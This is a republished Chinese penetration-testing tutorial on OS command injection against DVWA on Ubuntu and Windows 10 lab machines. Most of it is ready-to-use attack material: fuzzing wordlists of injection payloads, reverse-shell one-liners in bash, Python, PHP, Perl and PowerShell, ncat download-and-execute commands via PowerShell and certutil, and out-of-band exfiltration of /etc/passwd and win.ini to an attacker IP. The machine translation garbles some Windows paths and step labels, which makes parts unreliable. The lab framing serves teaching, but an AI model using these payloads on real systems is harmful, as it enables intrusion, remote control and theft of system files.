命令注入的终极笔测试指南

admin 2024年10月4日10:34:35评论60 views字数 17498阅读58分19秒阅读模式

总结

在本文中,我将简要解释什么是命令注入,如何检测它,并向您展示攻击者如何利用此漏洞。我们将从 100% 的黑匣子角度处理攻击,事先不了解相关的操作系统技术和安全措施。

为什么是这篇文章?

关于命令注入漏洞的文章很多。大多数文章都侧重于 Linux,特别是非盲目命令注入。关于 Windows 和盲命令注入的信息不多。

在本文中,我想向您概述在以下场景中可与命令注入一起使用的技术:

- Linux 非盲注

- Linux 盲注

- Windows 非盲注

- Windows 盲注

为了覆盖这些区域,我们将在 Windows 和 Linux 上使用易受攻击的 DVWA (https://github.com/digininja/DVWA)。我们的最终目标是与来自两个操作系统的攻击者建立反向 shell 连接。

命令注入的终极笔测试指南

https://www.youtube.com/watch?v=bEWQevp7ZO4

免責聲明

本文仅供参考和教育目的,适用于那些愿意并好奇地了解和学习安全和渗透测试的人。不得将内容用于非法目的。如果您准备好学习新事物,请继续阅读。

命令注入是一种攻击,允许攻击者通过易受攻击的应用程序在主机操作系统上执行任意命令。命令注入攻击主要是由于输入验证不足造成的。攻击者能够添加自己的代码,然后由应用程序执行。攻击者在易受攻击的应用程序的默认功能之后添加第二个命令。可疑应用程序功能包括允许用户执行网络操作(如 DNS 查找和 ping)的网站。

命令行注入可以是可见的,也可以是盲的。如果您正在处理盲目命令行注入,则可以使用带外技术来仍然捕获服务器响应。虽然 DVWA 是关于非盲命令行注入的,但在 PoC 中,我还将向您展示如何处理盲命令行注入。

设置您的实验室环境

此 POC 由 3 台计算机组成:攻击者计算机(Kali Linux,192.168.62.161)和易受攻击的 Linux Web 服务器(Ubuntu,192.168.62.174)和易受攻击的 Windows Web 服务器(Windows 10,192.168.62.165):

Kali 64 位 [版本 23.4]

  • IP 地址:192.168.62.161

  • 安全性:默认设置(开箱即用)

  • 软件:Burp Suite Community

Ubuntu 64 位 [版本 20.04.1]

  • IP 地址:192.168.62.174

  • 安全性:默认设置(开箱即用)

  • 软件:Xampp for Windows 和 DVWA 易受攻击的 Web 服务器。

  • 易受攻击的站点:http://192.168.62.174/dvwa

Windows 10 专业版 [版本 10.0.19044.3086]

  • IP 地址:192.168.62.165

  • 安全性:Windows Defender 防病毒检测的默认设置

  • 软件:Xampp for Windows 和 DVWA 易受攻击的 Web 服务器。

  • 易受攻击的站点:http://192.168.62.165/dvwa

我不会解释如何在 Xampp 上安装 DVWA Web 服务器。以下安装过程演练适用于 Windows,但对于其他操作系统应类似:https://www.linkedin.com/pulse/how-setup-dvwa-windows-10-using-xampp-shubham-yadav/。

请注意,DVWA 的源代码应从 https://github.com/digininja/DVWA 下载。

PoC 第 1 部分:DVWA Ubuntu 上的非盲命令注入(安全级别 = 低)

攻击背景:

  • 目标操作系统:Ubuntu

  • DVWA 安全级别:低

  • 易受攻击的网站:http://192.168.62.174/dvwa/vulnerabilities/exec/

1. 针对易受攻击的 Web 服务器 Ubuntu 执行

将浏览器配置为使用 Burp Suite 作为拦截器工具。浏览到 DVWA Web 应用程序 (http://192.168.62.174/dvwa/vulnerabilities/exec/)。执行 'ping a device' 功能并 ping 您的回溯地址。

命令注入的终极笔测试指南

TTL=64;Linux 操作系统!

接下来,检查 Burp Suite 拦截的 HTTP 流量。找到步骤 1 中的请求。如您所见,目标应用程序使用 POST 参数 'ip'。

命令注入的终极笔测试指南

接下来,我们将使用 Linux 命令行注入有效负载对目标参数 “ip” 进行模糊测试。为此,我们首先必须创建两个合适的单词列表。在整个演练中,我们将继续将这些单词列表用于与 Ubuntu 相关的所有命令注入方案。

2. 在攻击者 Kali Linux 上执行

创建一个单词列表以检测非盲目 Linux 命令行注入。打开 Bash 终端,使用复制和粘贴来执行以下代码:

# word list with Linux non-blind OS cmdline payloads
cat << EOF > /tmp/command_injection_linux_non_blind_enumeration.txt
bogus
;id
|id
i$()d
;i$()d
|i$()d
FAIL ||;i$()d
&&id
&id
FAIL_INTENT|id
FAIL_INTENT||id
;`echo 'aWQK' |base64 -d`
FAIL_INTENT|`echo 'aWQK' |base64 -d`
FAIL_INTENT||`echo 'aWQK' |base64 -d`
`id`
$(id)
%3bid
%3bi$()d
FAIL+||%3bi$()d
%26%26id
%26id
%3b`echo+'aWQK'+|base64+-d`
FAIL_INTENT|`echo+'aWQK'+|base64+-d`
FAIL_INTENT||`echo+'aWQK'+|base64+-d`
EOF

命令注入的终极笔测试指南

3. 针对易受攻击的 Web 服务器 Ubuntu 执行

返回 Burp Suite(请参阅步骤 1)并将请求发送给 Burp Intruder。

使用以下设置配置 Burp Intruder:

  • 攻击类型: 狙击手

  • 攻击参数 = ip

  • 负载类型:运行时文件 /tmp/command_injection_linux_non_blind_enumeration.txt

命令注入的终极笔测试指南

Payload position:我们必须将 payload 文件中的 payload 直接添加到值 127.0.0.1 之后。

将 ip=127.0.0.1&Submit=Submit 改为 ip=127.0.0.1<payload>&Submit=Submit

  • 标记字符串 <payload>

命令注入的终极笔测试指南

将 Burp intruder 配置为对字符串 'uid' 进行 grep 匹配。

命令注入的终极笔测试指南

开始攻击并分析结果...

命令注入的终极笔测试指南

从结果中我们可以得出结论,字符串 “uid” 在多个情况下出现在服务器响应中。例如, ; id, |id, ;i$()d 等。

在接下来的步骤中,我们将继续使用分号 (;) 字符来添加我们的自定义有效负载。

为了泄露数据或设置反向 shell,我们需要知道有哪些二进制文件可用。我们可以通过列出 Linux 目录 /bin 和 /usr/bin 来检查这一点。要验证特定二进制文件的路径,我们可以使用 'which' 命令。例如,'which python3'。

4. 在攻击者 Kali Linux 上执行

创建单词列表以检测 Linux 二进制文件。打开 Bash 终端,使用复制和粘贴来执行以下代码:

cat << EOF > /tmp/binaries_linux.txt
ifconfig
ip
wget
curl
gcc
sh
bash
nc
socat
php
python2
python3
perl
java
node
EOF

命令注入的终极笔测试指南

5. 针对易受攻击的 Web 服务器 Ubuntu 执行

返回 Burp Suite(请参阅步骤 1)并将请求发送给 Burp Intruder。

使用以下设置配置 Burp Intruder:

  • 攻击类型: 狙击手

  • 攻击参数 = ip

  • 负载类型:运行时文件 /tmp/binaries_linux.txt

命令注入的终极笔测试指南

有效载荷位置:

我们必须在值 127.0.0.1 之后直接添加 which 命令和有效负载文件中的有效负载。

- 将 ip=127.0.0.1&Submit=Submit 改为 ip=127.0.0.1;即 <payload>&Submit=Submit

  • 标记字符串 <payload>

命令注入的终极笔测试指南

配置 Burp intruder 以 grep 匹配字符串 '/bin' 和 '/sbin'。

命令注入的终极笔测试指南

开始攻击并分析结果...

命令注入的终极笔测试指南

从结果中我们可以得出结论,有多个有用的二进制文件可用。例如,我们可以使用 wget、curl 或 python 将文件从我们的 kali 机器传输到目标服务器。几个二进制文件可以帮助我们设置反向 shell 连接。包括 bash、python、netcat、php 和 perl。

接下来,我们将使用命令注入漏洞与攻击者的机器建立反向 shell 连接。

6. 在攻击者 Kali Linux 上执行

在攻击者的机器上启动 netcat listner。

rlwrap nc -nlvp 443

命令注入的终极笔测试指南

7. 针对易受攻击的 Web 服务器 Ubuntu 执行

检查您的浏览器是否仍配置为使用 Burp Suite 作为拦截工具。浏览至 DVWA Web 应用程序上的命令注入漏洞 (http://192.168.62.174/dvwa/vulnerabilities/exec/)。

现在选择您的负载。将分号字符添加到以下负载之一(并将 IP 地址更改为您的 kali 计算机):

echo "bash -i >& /dev/tcp/192.168.62.161/443 0>&1" | bash

echo "bash -i rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.62.161 443 > /tmp/f" | bash

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.62.161",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.62.161",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php -r '$sock=fsockopen("192.168.62.161",443);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("192.168.62.161",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("192.168.62.161",443);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("192.168.62.161",443);passthru("/bin/sh -i <&3 >&3 2>&3");'

perl -e 'use Socket;$i="192.168.62.161";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

上述所有有效负载都应该可以正常工作。请记住以分号开头 payload。

为了便于说明,仅显示 python3 有效负载。

命令注入的终极笔测试指南

检查您的 netcat 侦听器:

命令注入的终极笔测试指南

我们有一个反向外壳!

PoC 第 2 部分:DVWA Ubuntu 上的盲命令注入(安全级别 = 低)

攻击上下文

  • 目标操作系统:Ubuntu

  • DVWA 安全级别:低

  • 易受攻击的网站:http://192.168.62.174/dvwa/vulnerabilities/exec/

在上一节中,我们收集了多个有效负载,其中命令“id”是在 DVWA 目标服务器上执行的。我们能够查看服务器的响应。但是,在实际的渗透参与中,您可能没有那么幸运。在这种情况下,只能使用越界技术获取服务器响应。

8. 在攻击者 Kali Linux 上执行

创建单词列表以检测盲目 Linux 命令行注入。此负载与 HTTPS 带外 Web 服务器的 HTTP 兼容。

将 LHOST 和 LPORT 的值调整到 Kali 攻击者计算机。打开 Bash 终端,使用复制和粘贴来执行以下代码:

# create a word list with Linux OS cmdline payloads HTTP(S) 
LHOST=192.168.62.161
LPORT=80
prot=http
cat << EOF > /tmp/command_injection_linux_blind_enumeration_web.txt
; wget --no-check-certificate ${prot}://${LHOST}:${LPORT}/1
; curl -k ${prot}://${LHOST}:${LPORT}/2
; python3 -c "import requests; url = '${prot}://${LHOST}:${LPORT}/3'; myfile = requests.get(url,verify=False); open('/tmp/ncat', 'wb').write(myfile.content)"
; python2 -c "import ssl;context = ssl._create_unverified_context();import urllib2; u = urllib2.urlopen('${prot}://${LHOST}:${LPORT}/4',context=context); localFile = open('/tmp/ncat', 'w'); localFile.write(u.read()); localFile.close()"
| wget --no-check-certificate ${prot}://${LHOST}:${LPORT}/5
| curl -k ${prot}://${LHOST}:${LPORT}/6
| python3 -c "import requests; url = '${prot}://${LHOST}:${LPORT}/7'; myfile = requests.get(url,verify=False); open('/tmp/ncat', 'wb').write(myfile.content)"
| python2 -c "import ssl;context = ssl._create_unverified_context();import urllib2; u = urllib2.urlopen('${prot}://${LHOST}:${LPORT}/8',context=context); localFile = open('/tmp/ncat', 'w'); localFile.write(u.read()); localFile.close()"
FAIL || wget --no-check-certificate ${prot}://${LHOST}:${LPORT}/9
FAIL || curl -k ${prot}://${LHOST}:${LPORT}/10
FAIL || python3 -c "import requests; url = '${prot}://${LHOST}:${LPORT}/11'; myfile = requests.get(url,verify=False); open('/tmp/ncat', 'wb').write(myfile.content)"
FAIL || python2 -c "import ssl;context = ssl._create_unverified_context();import urllib2; u = urllib2.urlopen('${prot}://${LHOST}:${LPORT}/12',context=context); localFile = open('/tmp/ncat', 'w'); localFile.write(u.read()); localFile.close()"
&& wget --no-check-certificate ${prot}://${LHOST}:${LPORT}/13
&& curl -k ${prot}://${LHOST}:${LPORT}/14
&& python3 -c "import requests; url = '${prot}://${LHOST}:${LPORT}/15'; myfile = requests.get(url,verify=False); open('/tmp/ncat', 'wb').write(myfile.content)"
&& python2 -c "import ssl;context = ssl._create_unverified_context();import urllib2; u = urllib2.urlopen('${prot}://${LHOST}:${LPORT}/16',context=context); localFile = open('/tmp/ncat', 'w'); localFile.write(u.read()); localFile.close()"
& wget --no-check-certificate ${prot}://${LHOST}:${LPORT}/17
& curl -k ${prot}://${LHOST}:${LPORT}/18
& python3 -c "import requests; url = '${prot}://${LHOST}:${LPORT}/19'; myfile = requests.get(url,verify=False); open('/tmp/ncat', 'wb').write(myfile.content)"
& python2 -c "import ssl;context = ssl._create_unverified_context();import urllib2; u = urllib2.urlopen('${prot}://${LHOST}:${LPORT}/20',context=context); localFile = open('/tmp/ncat', 'w'); localFile.write(u.read()); localFile.close()"
EOF

生成的单词列表 /tmp/command_injection_linux_blind_enumeration_web.txt 包含每个有效负载的唯一编号。这使得在带外情况下更容易区分每个有效载荷。

命令注入的终极笔测试指南

9. 在攻击者 Kali Linux 上执行

在攻击者的计算机上启动 HTTP Web 服务器。

python3 -m http.server 80 - directory /tmp

命令注入的终极笔测试指南

10. 针对易受攻击的 Web 服务器 Ubuntu 执行

返回 Burp Suite(请参阅步骤 1)并将请求发送给 Burp Intruder。

使用以下设置配置 Burp Intruder:

  • 攻击类型: 狙击手

  • 攻击参数 = ip

  • 负载类型:运行时文件 /tmp/command_injection_linux_blind_enumeration_web.txt

命令注入的终极笔测试指南

有效载荷位置:

我们必须将 payload 文件中的 payload 直接添加到值 127.0.0.1 之后。

将 ip=127.0.0.1&Submit=Submit 改为 ip=127.0.0.1<payload>&Submit=Submit

  • 标记 <payload>

命令注入的终极笔测试指南

开始攻击并分析结果...

命令注入的终极笔测试指南

检查您的 Python3 Web 服务器。

命令注入的终极笔测试指南

我们的 python Web 服务器有多个点击。我们总共有 16 个 DVWA linux 的带外有效载荷,安全级别 = 低。

我们可以将不同的 GET 请求引用到相应的有效负载。例如,GET /1 payload 对应于:

;wget — 无检查证书 http://192.168.62.161:80/1

在接下来的步骤中,我们将继续使用分号 (;) 字符来添加我们的自定义有效负载。

为了泄露数据,我们需要目标服务器发送执行远程命令并将结果发送到我们的 kali 攻击者的机器。这可以通过将以下代码附加到 URL 来实现:

/'cat /etc/passwd |base64 -w 0'

11. 针对易受攻击的 Web 服务器 Ubuntu 执行

检查您的浏览器是否仍配置为使用 Burp Suite 作为拦截工具。浏览至 DVWA Web 应用程序上的命令注入漏洞 (http://192.168.62.174/dvwa/vulnerabilities/exec/)。

现在选择您的负载。将分号字符添加到以下有效负载之一(并将 ip 地址/端口更改为您的 kali 计算机):

wget --no-check-certificate http://192.168.62.161:80/`cat /etc/passwd | base64 -w 0`

curl -k http://192.168.62.161:80/`cat /etc/passwd | base64 -w 0`

python3 -c "import requests; url = 'http://192.168.62.161:80/`cat /etc/passwd | base64 -w 0`'; myfile = requests.get(url,verify=False); open('/tmp/ncat', 'wb').write(myfile.content)"

python2 -c "import ssl;context = ssl._create_unverified_context();import urllib2; u = urllib2.urlopen('http://192.168.62.161:80/`cat /etc/passwd | base64 -w 0`',context=context); localFile = open('/tmp/ncat', 'w'); localFile.write(u.read()); localFile.close()"

上述所有有效负载都应该可以正常工作。请记住以分号开头 payload。

为了便于说明,仅显示 wget 有效负载。

命令注入的终极笔测试指南

检查您的 Python3 Web 服务器。

命令注入的终极笔测试指南

我们有一个 base64 编码的传入请求!

12. 对攻击者 Kali Linux 执行

选择 base64 编码的字符串。将字符串复制并粘贴到 Burp Suite Decoder 中。将字符串从 base64 解码回纯文本。

命令注入的终极笔测试指南

我们已经成功地从目标 Web 服务器获取了 /etc/passwd 文件的内容!

PoC 第 3 部分:DVWA Windows10 上的非盲命令注入(安全级别 = 低)

攻击上下文

  • 目标操作系统:Windows 10

  • DVWA 安全级别:低

  • 易受攻击的网站:http://192.168.62.165/dvwa/vulnerabilities/exec/

12. 针对易受攻击的 Web 服务器 Windows 10 执行

将浏览器配置为使用 Burp Suite 作为拦截器工具。浏览到 Windows 10 (http://192.168.62.165/dvwa/vulnerabilities/exec/) 上的 DVWA Web 应用程序。执行 'ping a device' 功能并 ping 您的回溯地址。

命令注入的终极笔测试指南

TTL=128;Windows 操作系统!

接下来,检查 Burp Suite 拦截的 HTTP 流量。找到步骤 12 中的请求。如您所见,目标应用程序使用 POST 参数 'ip'。

命令注入的终极笔测试指南

接下来,我们将使用 Windows 命令行注入有效负载对目标参数 “ip” 进行模糊测试。为此,我们首先必须创建两个合适的单词列表。在整个演练中,我们将继续将这些单词列表用于与 Windows 10 相关的所有命令注入方案。

13. 对攻击者 Kali Linux 执行

创建单词列表以检测非盲目 Windows 命令行注入。打开 Bash 终端,使用复制和粘贴来执行以下代码:

# word list with Windows non-blind OS cmdline payloads
cat << EOF > /tmp/command_injection_windows_non_blind_enumeration.txt
| dir
; dir
& dir
&&dir
&& dir
|+dir
%3b+dir
%26+dir
%26%26dir
%26%26+dir
EOF

命令注入的终极笔测试指南

14. 针对易受攻击的 Web 服务器 Windows 10 执行

返回 Burp Suite(请参阅步骤 1)并将请求发送给 Burp Intruder。

使用以下设置配置 Burp Intruder:

  • 攻击类型: 狙击手

  • 攻击参数 = ip

  • 负载类型:运行时文件 /tmp/command_injection_windows_non_blind_enumeration.txt

命令注入的终极笔测试指南

有效载荷位置:

我们必须将 payload 文件中的 payload 直接添加到值 127.0.0.1 之后。

将 ip=127.0.0.1&Submit=Submit 改为 ip=127.0.0.1<payload>&Submit=Submit

  • 标记 <payload>

命令注入的终极笔测试指南

将 Burp intruder 配置为对单词 'Volume' 进行 grep 匹配。

命令注入的终极笔测试指南

开始攻击并分析结果...

命令注入的终极笔测试指南

从结果中我们可以得出结论,字符串 “Volume” 在多个情况下出现在服务器响应中。我们从 |dir、&&dir 和 &dir 等有效负载中获得了积极的结果。

在接下来的步骤中,我们将继续使用 & 符号 (&) 字符来添加我们的自定义有效负载。

为了泄露数据或设置反向 shell,我们需要知道有哪些二进制文件可用。我们可以通过列出 Windows 目录“C:Program Files”或 C:WindowsSystem32 来检查这一点。要验证特定二进制文件的路径,我们可以使用 'where.exe' 命令。例如,'where.exe php'。

15. 对攻击者 Kali Linux 执行

创建单词列表以检测 Windows 二进制文件。打开 Bash 终端,使用复制和粘贴来执行以下代码:

cat << EOF > /tmp/binaries_windows.txt
powershell
tftp
ftp
certutil
python --version
python3 --version
ipconfig
hostname
systeminfo
dir
node
php
java
EOF

命令注入的终极笔测试指南

16. 针对易受攻击的 Web 服务器 Windows 10 执行

返回 Burp Suite(请参阅步骤 1)并将请求发送给 Burp Intruder。

使用以下设置配置 Burp Intruder:

  • 攻击类型: 狙击手

  • 攻击参数 = ip

  • 负载类型:运行时文件 /tmp/binaries_windows.txt

有效载荷位置:

我们必须在值 127.0.0.1 之后直接添加 where.exe 命令和有效负载文件中的有效负载。

 ip=127.0.0.1&Submit=Submit 改为 ip=127.0.0.1%26where.exe <payload>&Submit=Submit

  • 标记 <payload>

命令注入的终极笔测试指南

注意:您需要对 '& 符号' 字符进行 URL 编码: %26

将 Burp intruder 配置为对字符串 'exe' 进行 grep 匹配。

命令注入的终极笔测试指南

开始攻击并分析结果...

命令注入的终极笔测试指南

Powershell 可执行文件。

从结果中我们可以得出结论,有多个有用的二进制文件可用。例如,我们可以使用 powershell、ftp 或 certutil 将文件从我们的 kali 机器传输到目标服务器。几个二进制文件可以帮助我们设置反向 shell 连接。包括 powershell、php 和 java。

接下来,我们将使用命令注入漏洞与攻击者的机器建立反向 shell 连接。

17. 对攻击者 Kali Linux 执行

在攻击者的机器上启动 netcat listner。

rlwrap nc -nlvp 443

命令注入的终极笔测试指南

18. 对攻击者 Kali Linux 执行

要将文件从 Kali 传输到我们的 Windows 10 目标,您需要启动 python Web 服务器。

python3 -m http.server 80 --directory /tmp

命令注入的终极笔测试指南

19. 对攻击者 Kali Linux 执行

将ncat.exe下载到 python Web 暂存目录 (/tmp)

wget https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/windows/x86/ncat.exe -O /tmp/ncat.exe
strip /tmp/ncat.exe
upx /tmp/ncat.exe

命令注入的终极笔测试指南

20. 针对易受攻击的 Web 服务器 Windows 10 执行

检查您的浏览器是否仍配置为使用 Burp Suite 作为拦截工具。浏览至 DVWA Web 应用程序上的命令注入漏洞 (http://192.168.62.165/dvwa/vulnerabilities/exec/)。

现在选择您的负载。将 & 字符添加到以下有效负载之一(并将 IP 地址更改为您的 kali 计算机):

# powershell reverse shell (needs Windows Defender disabled)
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.62.161',443); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();} $client.Close();"

# download and execute ncat with Powershell
START /B powershell.exe -c (New-Object System.Net.Webclient).DownloadFile('http://192.168.62.161:80/ncat.exe','C:WindowsTasksncat.exe'); ncat 192.168.62.161 443 -e c:WindowsSystem32cmd.exe

# download and execute ncat with certutil
START /B c:windowssystem32certutil.exe -urlcache -split -f http://192.168.62.161:80/ncat.exe c:WindowsTasksncat.exe & ncat 192.168.62.161 443 -e c:WindowsSystem32cmd.exe

上述所有有效负载都应该可以正常工作。请记住以 & 符号 (&) 启动有效负载。

为了便于说明,仅显示具有 Powershell 有效负载的 ncat。

命令注入的终极笔测试指南

Check your python web server:

命令注入的终极笔测试指南

Check your netcat listener:

命令注入的终极笔测试指南

We have a reverse shell!

PoC Part 4: Blind command Injection on DVWA Windows 10 (Security level=low)

Attack context

  • Target OS: Windows 10

  • DVWA Security level: low

  • Vulnerable web site: http://192.168.62.165/dvwa/vulnerabilities/exec/

In the last section, we collected some payloads where the ‘dir’ command was executed on the DVWA target Windows 10 server. We were able to view the server’s response. However, you might not be so lucky in actual penetration engagement. In that case, the server response may only be obtained using an out-of-bound technique.

21. Performed on attacker, Kali Linux

创建一个单词列表以检测盲目 Windows 命令行注入。此负载与 HTTPS 带外 Web 服务器的 HTTP 兼容。

将 LHOST 和 LPORT 的值调整到 Kali 攻击者计算机。打开 Bash 终端,使用复制和粘贴来执行以下代码:

LHOST=192.168.62.161
LPORT=80
prot=http
cat << EOF > /tmp/command_injection_windows-blind-web-http.txt
| START /B powershell.exe -c (New-Object System.Net.Webclient).DownloadFile('${prot}://${LHOST}:${LPORT}/1','C:WindowsTasks1')
| START /B c:windowssystem32certutil.exe -urlcache -split -f ${prot}://${LHOST}:${LPORT}/2 c:WindowsTasks2
; START /B powershell.exe -c (New-Object System.Net.Webclient).DownloadFile('${prot}://${LHOST}:${LPORT}/3','C:WindowsTasks3')
; START /B c:windowssystem32certutil.exe -urlcache -split -f ${prot}://${LHOST}:${LPORT}/4 c:WindowsTasks4
& START /B powershell.exe -c (New-Object System.Net.Webclient).DownloadFile('${prot}://${LHOST}:${LPORT}/5','C:WindowsTasks5')
& START /B c:windowssystem32certutil.exe -urlcache -split -f ${prot}://${LHOST}:${LPORT}/6 c:WindowsTasks6
&& START /B powershell.exe -c (New-Object System.Net.Webclient).DownloadFile('${prot}://${LHOST}:${LPORT}/7','C:WindowsTasks7')
&& START /B c:windowssystem32certutil.exe -urlcache -split -f ${prot}://${LHOST}:${LPORT}/8 c:WindowsTasks8
|+START+/B+powershell.exe+-c+(New-Object+System.Net.Webclient).DownloadFile('${prot}%3a//${LHOST}%3a${LPORT}/9','C%3aWindowsTasks9')
|+START+/B+c%3awindowssystem32certutil.exe+-urlcache+-split+-f+${prot}%3a//${LHOST}%3a${LPORT}/10+c%3aWindowsTasks10
%3b+START+/B+powershell.exe+-c+(New-Object+System.Net.Webclient).DownloadFile('${prot}%3a//${LHOST}%3a${LPORT}/11','C%3aWindowsTasks11')
%3b+START+/B+c%3awindowssystem32certutil.exe+-urlcache+-split+-f+${prot}%3a//${LHOST}%3a${LPORT}/12+c%3aWindowsTasks12
%26+START+/B+powershell.exe+-c+(New-Object+System.Net.Webclient).DownloadFile('${prot}%3a//${LHOST}%3a${LPORT}/13','C%3aWindowsTasks13')
%26+START+/B+c%3awindowssystem32certutil.exe+-urlcache+-split+-f+${prot}%3a//${LHOST}%3a${LPORT}/14+c%3aWindowsTasks14
%26%26+START+/B+powershell.exe+-c+(New-Object+System.Net.Webclient).DownloadFile('${prot}%3a//${LHOST}%3a${LPORT}/15','C%3aWindowsTasks15')
%26%26+START+/B+c%3awindowssystem32certutil.exe+-urlcache+-split+-f+${prot}%3a//${LHOST}%3a${LPORT}/16+c%3aWindowsTasks16
EOF

生成的单词列表 /tmp/command_injection_windows_blind_enumeration_web.txt 包含每个负载的唯一编号。这使得在带外情况下更容易区分每个有效载荷。

22. 对攻击者 Kali Linux 执行

在攻击者的计算机上启动 HTTP Web 服务器。

python3 -m http.server 80 --directory /tmp

命令注入的终极笔测试指南

23. 针对易受攻击的 Web 服务器 Ubuntu 执行

返回 Burp Suite(请参阅步骤 1)并将请求发送给 Burp Intruder。

使用以下设置配置 Burp Intruder:

  • 攻击类型: 狙击手

  • 攻击参数 = ip

  • 负载类型:运行时文件 /tmp/command_injection_windows_blind_enumeration_web.txt

命令注入的终极笔测试指南

有效载荷位置:

我们必须将 payload 文件中的 payload 直接添加到值 127.0.0.1 之后。

将 ip=127.0.0.1&Submit=Submit 改为 ip=127.0.0.1<payload>&Submit=Submit

命令注入的终极笔测试指南

  • 标记 <payload>

开始攻击。

检查您的 Python3 Web 服务器。

命令注入的终极笔测试指南

我们的 python Web 服务器有多个点击。我们总共有 8 个 DVWA linux 的带外有效载荷,安全级别 = 低。

我们可以将不同的 GET 请求引用到相应的有效负载。例如,GET /1 payload 对应于:

|START /B powershell.exe -c (New-Object System.Net.Webclient).下载文件('http://192.168.62.161:80/1','C:WindowsTasks1')

在接下来的步骤中,我们将继续使用 apersand (&) 字符来添加我们的自定义有效负载。

为了泄露数据,我们需要目标服务器发送执行远程命令并将结果发送到我们的 kali 攻击者的机器。

24. 针对易受攻击的 Web 服务器 Ubuntu 执行

检查您的浏览器是否仍配置为使用 Burp Suite 作为拦截工具。浏览至 DVWA Web 应用程序上的命令注入漏洞 (http://192.168.62.174/dvwa/vulnerabilities/exec/)。

现在选择您的负载。将分号字符添加到以下有效负载之一(并将 ip 地址更改为您的 kali 计算机):

powershell -c """$code=([convert]::ToBase64String((Get-Content -path "C:Windowswin.ini" -Encoding byte)));(New-Object System.Net.Webclient).DownloadFile('http://192.168.62.161:80/$code','C:WindowsTasks5')""" 

请记住以 & 符号开始 payload。

命令注入的终极笔测试指南

检查您的 python3 Web 服务器。

命令注入的终极笔测试指南

我们有一个 base64 编码的传入请求!

25. 对攻击者 Kali Linux 执行

选择 base64 编码的字符串。将字符串复制并粘贴到 Burp Suite Decoder 中。将字符串从 base64 解码回纯文本。

命令注入的终极笔测试指南

我们成功地从目标 Web 服务器获取了 C:Windowswin.ini 文件的内容!

缓解措施

防止操作系统命令注入漏洞的最佳方法是永远不要从应用程序层代码执行操作系统命令。

如果需要使用用户提供的输入调用操作系统命令,则必须执行强输入验证。

引用

https://github.com/digininja/DVWA

https://portswigger.net/web-security/os-command-injection

https://owasp.org/www-community/attacks/Command_Injection

https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html

linux恶意软件开发对抗与进程安全管理视频教程

命令注入的终极笔测试指南

  • 命令注入的终极笔测试指南

  • 命令注入的终极笔测试指南

其它课程

linux文件系统存储与文件过滤安全开发视频教程(2024最新)

命令注入的终极笔测试指南

linux高级usb安全开发与源码分析视频教程

命令注入的终极笔测试指南

linux程序设计与安全开发

命令注入的终极笔测试指南

  • windows恶意软件开发与对抗视频教程

  • 命令注入的终极笔测试指南

  • 命令注入的终极笔测试指南

  • windows

  • 命令注入的终极笔测试指南

  • windows()

  • 命令注入的终极笔测试指南

  • USB()

  • 命令注入的终极笔测试指南

  • ()

  • 命令注入的终极笔测试指南

  • ios

  • 命令注入的终极笔测试指南

  • windbg

  • 命令注入的终极笔测试指南

  • ()

  • 命令注入的终极笔测试指南命令注入的终极笔测试指南命令注入的终极笔测试指南

  • 命令注入的终极笔测试指南

  • 命令注入的终极笔测试指南

  • 命令注入的终极笔测试指南

原文始发于微信公众号(安全狗的自我修养):命令注入的终极笔测试指南

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月4日10:34:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令注入的终极笔测试指南https://cn-sec.com/archives/3231466.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息